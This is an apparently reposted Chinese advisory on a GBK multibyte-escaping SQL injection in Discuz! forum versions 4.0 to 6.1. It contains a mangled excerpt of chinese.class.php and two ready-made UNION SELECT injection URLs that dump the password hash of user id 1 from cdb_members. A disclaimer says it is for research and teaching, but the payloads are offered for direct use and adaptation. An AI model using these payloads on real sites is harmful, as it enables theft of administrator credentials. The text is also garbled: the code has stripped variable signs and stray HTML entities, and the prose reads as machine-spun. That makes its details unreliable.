影响版本: Discuz!4.0.0 Discuz!4.1.0 Discuz!5.0.0 Discuz!5.5.0 Discuz!6.0.0 Discuz!6.1.0 形貌: Discuz!论坛系统是一个接纳 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。Discuz! 在代码质 量，运行效率，负载能力，平安品级，功效可操控性和权限严密性等方面都在宽大用户中有优越的口碑 由于 PHP 对 多字节字符集的支持存在问题，在种种编码相互转换过程中，有可能引发程序溢出和程序错误 提交一个 ' 转意成 \' 然后转成gbk的，\和'就酿成两个字符了 '就可以乐成的引入 测试方式: 以下程序(方式)可能带有攻击性,仅供平安研究与教学之用.风险自尊! if(defined('IN_DISCUZ')) { exit('Access Denied'); } define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/'); class Chinese { var table = ''; var iconv_enabled = false; var unicode_table = array(); var config = array ( 'SourceLang' =gt; '', 'TargetLang' =gt; '', 'GBtoUnicode_table' =gt; 'gb-unicode.table', 'BIG5toUnicode_table' =gt; 'big5-unicode.table', ); function Chinese(SourceLang, TargetLang, ForceTable = FALSE) { this-gt;config['SourceLang'] = this-gt;_lang(SourceLang); this-gt;config['TargetLang'] = this-gt;_lang(TargetLang); if(!function_exists(’iconv’) amp;amp; this-gt;config['TargetLang'] != ‘BIG5′ amp;amp; !ForceTable) { this-gt;iconv_enabled = true; } else { this-gt;iconv_enabled = false; this-gt;OpenTable(); } } function _lang(LangCode) { LangCode = strtoupper(LangCode); if(substr(LangCode, 0, 2) == ‘GB’) { return ‘GBK’; } elseif(substr(LangCode, 0, 3) == ‘BIG’) { return ‘BIG5′; } elseif(substr(LangCode, 0, 3) == ‘UTF’) { return ‘UTF-8′; } elseif(substr(LangCode, 0, 3) == ‘UNI’) { return ‘UNICODE’; } } function _hex2bin(hexdata) { for(i=0; i lt; strlen(hexdata); i += 2) { bindata .= chr(hexdec(substr(hexdata, i, 2))); } return bindata; }chinese.class.php (utf-8不能行使) searchid=22cf'UNION SELECT 1,password,3,passwordfromcdb_memberswhereuid=1/*amp;do=submit /space.php?username=cf'20UNION20SELECT,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,password,50,51,52,53,54,55,56,57,database(),59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,from20cdb_members20where20uid=1/* 直接放在url后面可以爆出ｉｄ＝１的用户密码，还可以自己根据需要更改，要注意一点的是，目的必须开了WAP，而且没有打上补丁，WAP浏览